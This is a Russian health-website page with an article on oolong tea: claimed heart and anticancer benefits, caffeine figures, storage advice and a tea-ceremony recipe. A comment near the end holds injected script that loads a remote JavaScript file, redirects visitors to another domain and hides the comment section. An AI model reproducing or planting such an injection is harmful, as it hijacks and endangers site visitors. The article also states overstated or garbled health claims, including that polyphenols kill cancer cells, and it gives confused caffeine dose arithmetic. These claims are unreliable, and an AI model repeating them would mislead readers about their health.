Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Чай улун – для здоровья с...  >>  Чай улун – для здоровья сердца и сосудов
 
Обратная связь
 

Чай улун – для здоровья сердца и сосудов

Размер шрифта
14 декабря 2011 07:13
  • google_analytics: false
  • Нравится

Чай улун защищает от смертельно-опасных болезней, снижая уровень холестерина в сосудах. Как выбрать чай улун и как устроить дома настоящую чайную церемонию?

Достоинства чая улун

  1. Контролирует сахар крови и холестерин, понижает давление.

  2. Чай улун богат антиоксидантами – полифенолами, танинами, кахетинами. Они снижают уровень холестерина, артериальное давление.

  3. Полифенолы в составе чая улун убивают раковые клетки, защищают здоровые от повреждений, тем самым тормозят развитие злокачественных новообразований. Полифенолы предотвращают окисление холестерина свободными радикалами, а значит, защищают от атеросклероза и заболеваний сердечно-сосудистой системы.

  4. Кофеин в чае блокирует выработку антидиуретического гормона, который отвечает за всасывание воды. Если антидиуретический гормон заблокирован, стенки кишечника лучше омываются, и все вредные вещества, в том числе канцерогены, провоцирующие рак, выводятся с мочой.

Пьедестал почета по содержанию кофеина

1. Зеленый чай (на 220 мл - 35-70 мг кофеина)
2. Чай улун (на 220 мл - 50-75 мг кофеина)
3. Черный чай (на 220 мл – 60-90 мг кофеина)
Суточная доза – 200-300 мг кофеина в день, т.е. 4/5 чашки чая улун.

Недостатки

Чай улун содержит танины, которые могут вызывать мигрени.

Как выбрать

Различают 2 разновидности чая улун:

1. Слабоферментированный. Производится из сырья с чайных кустов, иногда из полностью развившихся мясистых листьев.
2. Сильноферментированный.

Как хранить

Хранить этот чай лучше в герметичной стеклянной посуде с хорошо притертой крышкой, без доступа света и влаги, а также сильных запахов, так как чай хорошо их впитывает. При правильном хранении чай сохраняет свежесть в течение 2 лет, но со временем теряет свои свойства. Чем выше сорт чая, тем дольше срок его хранения.

Как готовить

Для чайника объемом 150 мл берется около 7 г сухой заварки (это примерно одна столовая ложка с горкой).

Лучше заливать листья чая улун горячей, но не кипящей водой, примерно 90-95ºС. Настаивать чай нет необходимости. Качественные сорта чая выдерживают до 20-25 заварок.

Рецепт чая улун:

Что понадобится для чайной церемонии:

– Стол для чайной церемонии
– Чайник заварочный
– Пиалы (чашки для распития чая)
– Чашки для настоя чая (удлиненные)
– Чайница
– Совочек деревянный
– Салфетка
– Чайник для подогревания воды

1. Горячей водой обмыть всю посуду, залить внутрь, слить из чайницы на чайник, в чайную лодку или в отверстия в специальном столе.
2. В чайник засыпать сухой чай, закрыть и встряхнуть, чтобы листья заняли весь чайник.
3. Залить заварочный чайник водой.
4. Вылить в чайницу и разлить из нее по чашкам для настоя чая или сразу в чашки для чая.
5. Первую заварку слить. Затем снова залить чайник водой, из него в чайницу, а затем заполнить чашки для настоя чая или чашки для чая.
6. Чашки для настоя чая закрыть чашками, перевернуть, чтобы чай вылился в чашку. Теперь чай можно пить.

Видеосюжеты по теме:

Чай улун. Глаз дракона

 




 

 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:03

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.